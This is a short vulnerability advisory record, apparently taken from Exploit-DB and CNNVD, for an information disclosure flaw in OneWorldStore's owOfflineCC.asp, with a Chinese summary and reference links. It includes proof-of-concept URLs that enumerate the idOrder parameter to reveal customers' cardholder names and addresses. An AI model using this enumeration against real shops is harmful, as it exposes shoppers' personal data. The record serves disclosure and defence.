https://www.exploit-db.com/exploits/25530
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-514

OneWorldStore中的owOfflineCC.asp使得远程攻击者可以通过修改idOrder参数来获取敏感信息。

source: http://www.securityfocus.com/bid/13361/info

OneWorldStore is prone to an information disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability would expose the customer names, as they appear on credit cards, and their addresses to the attacker. 

http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=1
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=2
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=3
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=

来源:BID
名称:13361
链接:http://www.securityfocus.com/bid/13361
来源:www.oneworldstore.com
链接:http://www.oneworldstore.com/support_security_issue_updates.asp#April_24_2005_Lostmon
来源:SECTRACK
名称:1013796
链接:http://securitytracker.com/id?1013796
来源:SECUNIA
名称:15104
链接:http://secunia.com/advisories/15104
来源:MISC
链接:http://lostmon.blogspot.com/2005/04/oneworldstore-user-information.html
来源:OSVDB
名称:15781
链接:http://www.osvdb.org/15781